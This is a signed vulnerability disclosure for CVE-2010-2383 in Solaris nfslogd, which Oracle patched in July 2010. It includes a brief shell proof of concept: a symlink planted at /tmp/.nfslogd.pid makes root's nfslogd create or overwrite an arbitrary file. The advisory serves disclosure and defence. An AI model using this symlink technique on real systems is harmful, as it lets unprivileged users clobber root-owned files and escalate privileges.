-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Below is the full disclosure information for CVE-2010-2383. It was reported to security-alert@sun.com on 29 December, 2009 and assigned Sun bug 6913655. This vulnerability was addressed by Sun/Oracle in the July 2010 Critical Patch Update (http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2010.html). - ------ This one is with nfslogd which allows an unprivileged user to create/overwrite a file as root: Don't Panic! # ls -dl /etc/oops /etc/oops: No such file or directory Don't Panic! # ls -dl /tmp/.nfslogd.pid lrwxrwxrwx 1 nobody nobody 9 Dec 29 21:24 /tmp/.nfslogd.pid - -> /etc/oops Don't Panic! # id uid=0(root) gid=0(root) Don't Panic! # /usr/lib/nfs/nfslogd Don't Panic! # ls -dl /etc/oops - -rw------- 1 root root 4 Dec 29 21:25 /etc/oops - ------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEVAwUBTEUK12KGA6cQSpZSAQKDmgf+Khyu8Mq5rk4wKHUGQm4NCZOvC75ilW2e Nr9dw/YEEDIZZkaGHRRtPD9pBgnrdCbP/Pvt6wSYyr+JOLYCO1BGGFA36eenTgzI lbpDuFDgpVO4+DPb5TslS1MYkLYYFh+S9l0zzdYGVvAbURabp35VW852O2SHY7Pg ZsUjRUrbSMIPUcVq024CLtro2VCJPiZ9o691ChpNlkdCTdtS6PUCllwQazz/2UFO Gf21llPnO7kkQP7zbjbTITx9cjx6hYOxKbfLtrupxjtnXHRIjts0ToFxUYnT5eWD 3I/1m8/VjnqQSIY7nytcIj+nZG1z7e/zhOmdE54wRcpQzONYngNcWA== =ojGd -----END PGP SIGNATURE-----